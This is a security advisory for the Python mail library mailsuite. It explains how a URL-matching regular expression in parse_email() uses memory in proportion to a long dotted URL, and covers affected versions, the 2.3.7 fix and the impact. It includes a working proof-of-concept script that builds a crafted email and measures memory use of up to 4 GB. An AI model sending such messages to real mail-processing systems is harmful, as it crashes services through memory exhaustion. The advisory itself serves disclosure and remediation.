GHSA-4g5q-xm2p-2gc4: 
Python 취약점 분석 및 완화

Summary

mailsuite.utils.parse_email() searches the whole message body for URLs with url_regex. One URL whose path is a long run of dot-separated segments (http://example.com/a.a.a.a…) makes that search hold about 170 bytes of memory for every byte of the path while it runs; one whose host is a long run of dot-separated labels (http://a.a.a.a…/x) costs about half as much. Nothing in mailsuite bounds the body, so a single message costs memory in proportion to its size: 1.7 GB for a 10 MB message, 4.1 GB for a 25 MB one. Anyone who can deliver mail to a mailbox or pipeline that parses it with mailsuite can end the parsing process with a MemoryError or have the operating system kill it.

Affected versions

mailsuite 1.9.6 (commit 730b58e, 2022-08-28, which added the pattern) through 2.3.6. The message structure limits added in 2.3.5 cover header fields, header lines, MIME parts, nesting depth and address headers, not the body text.

Details

mailsuite/utils.py in 2.3.6:

url_regex = re.compile(
    r"(?<![A-Za-z])([A-Za-z]+://)([-\w]+(?:\.\w[-\w]*)+)(:\d+)?(/[^.!,?"
    r"\"<>\[\]{}\s\x7F-\xFF]*(?:[.!,?]+[^.!,?"
    r"\"<>\[\]{}\s\x7F-\xFF]+)*)?"
)

and, unconditionally, in parse_email():

body_urls = url_regex.findall(parsed_email["body_markdown"])

The last group matches the path as a first segment followed by any number of repeats of (?:[.!,?]+[^.!,?…]+), so that trailing sentence punctuation is left out of the URL. Python's re module keeps a saved position for every completed repeat of that group until the match ends, because each repeat is a point it might have to return to. A path of a. repeated two million times is two million repeats inside one match. A run of !, , or ? separates two segments just as a dot does. The time stays linear (the lookbehind added in 2.3.5 removed the quadratic case); the memory does not stay small. The host group, ([-\w]+(?:\.\w[-\w]*)+), has the same shape: it repeats (?:\.\w[-\w]*) once for each label after the first, so a host of a. repeated two million times is two million repeats as well. Measured with tracemalloc on one URL of 200,000 characters, the search holds 200 bytes for each character of a dotted path and 104 for each character of a dotted host. body_markdown is the joined text/plain parts, or the text/html part converted to Markdown when there is no plain text, after the transfer encoding is decoded. Base64 and quoted-printable carry a line of any length in lines of at most 76 characters, so the message is well-formed and passes a mail server's line-length limit. The only bound is the server's limit on message size. The pattern alone, outside parse_email(): url_regex.findall() on 4,000,000 characters of such a URL returns one match in 0.44 s with a peak of 694 MB (38 MB before the call). The pattern as first released in 1.9.6 peaks at 679 MB on the same text.

Proof of concept

import quopri
import resource
import sys
import time
from mailsuite.utils import parse_email
path_bytes = int(sys.argv[1])
body = b"see http://example.com/" + b"a." * (path_bytes // 2) + b"a\n"
message = (
    b"From: sender@example.com\r\n"
    b"To: recipient@example.net\r\n"
    b"Subject: hello\r\n"
    b"MIME-Version: 1.0\r\n"
    b"Content-Type: text/plain; charset=us-ascii\r\n"
    b"Content-Transfer-Encoding: quoted-printable\r\n"
    b"\r\n" + quopri.encodestring(body).replace(b"\n", b"\r\n")
)
longest_line = max(len(line) for line in message.split(b"\r\n"))
started = time.monotonic()
parsed = parse_email(message)
elapsed = time.monotonic() - started
peak_mb = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss / 1024
print(
    f"message {len(message) / 1e6:.2f} MB, longest line {longest_line}, "
    f"{len(parsed['body_urls'])} URL, {elapsed:.2f} s, peak memory {peak_mb:.0f} MB"
)

mailsuite 2.3.6, Python 3.12.9, Linux x86-64, run with 1000000, 4000000, 10000000 and 24000000:

message 1.04 MB, longest line 76, 1 URL, 0.15 s, peak memory 206 MB
message 4.16 MB, longest line 76, 1 URL, 0.47 s, peak memory 725 MB
message 10.40 MB, longest line 76, 1 URL, 1.09 s, peak memory 1735 MB
message 24.96 MB, longest line 76, 1 URL, 2.92 s, peak memory 4115 MB

With the address space capped at 1.5 GB (ulimit -v 1500000) the 10.40 MB message ends in

    body_urls = url_regex.findall(parsed_email["body_markdown"])
MemoryError

which parse_email() does not turn into the ValueError its callers catch for a bad message. Under a container or cgroup memory limit the process is killed instead. A base64 body behaves the same (24.63 MB message, 3137 MB peak). With the long run in the host instead (body = b"see http://" + b"a." * (path_bytes // 2) + b"a/x\n"), the 4.16 MB message peaks at 390 MB and the 10.40 MB message at 895 MB.

Fix

mailsuite 2.3.7 replaces the pattern with one in which every repeat is over a single character class, which re runs without keeping a position for each repeat:

url_regex = re.compile(
    r"(?<![A-Za-z])([A-Za-z]+://)"
    r"((?=[-\w]+\.\w)[-\w.]*?(?=\.(?!\w)|(?![-\w.])))"
    r"(:\d+)?"
    r"(/[^\"<>\[\]{}\s\x7F-\xFF]*(?<![.!,?]))?"
)

The host ends before the first dot that no word character follows, and the path gives back the ., !, , and ? that end it, so the URLs found, and the four groups of each match, are the same as with the 2.3.6 pattern. Both patterns were run over 21,435,888 short texts (every tail of up to seven characters, from an alphabet of eleven, after x://) and 61,205,206 random texts of up to 40 tokens that reach every branch of both patterns; the position and the groups of every match were equal. The proof of concept above on the fixed code, same Python and host:

message 1.04 MB, longest line 76, 1 URL, 0.04 s, peak memory 41 MB
message 4.16 MB, longest line 76, 1 URL, 0.12 s, peak memory 69 MB
message 10.40 MB, longest line 76, 1 URL, 0.28 s, peak memory 128 MB
message 24.96 MB, longest line 76, 1 URL, 0.66 s, peak memory 264 MB

The host form of the 10.40 MB message also peaks at 128 MB. Between the smallest and the largest message the peak now grows by about 9 MB for each megabyte of message, where on 2.3.6 it grew by about 160. tracemalloc on the 200,000-character URLs now shows 1 byte for each character, for the path and for the host. Where 2.3.7 cannot be installed: accept mail for parsing only up to a size whose cost the host can carry (about 170 MB of memory per megabyte of message on 2.3.6), and run the parser under a memory limit with a supervisor that restarts it.

Impact

Denial of service through memory exhaustion in any process that calls mailsuite.utils.parse_email() on mail an outsider can send: IMAPClient.fetch_message(parse=True), yaramail (every scanned message, nested .eml and .msg attachments included), and any other caller. The sender needs no account and no action from a recipient. The memory is held only while the body is searched, so the damage is a failed or killed process, and other work on the same host that the out-of-memory killer picks instead. A caller that leaves a message it could not parse in the mailbox parses it again on its next run. Messages processed in parallel multiply the peak. parsedmarc is not affected: it has its own parse_email() and never uses url_regex. Found during a review of the 2.3.6 release. No exploitation is known. Generated by AI (Claude Fable 5, model claude-fable-5-2).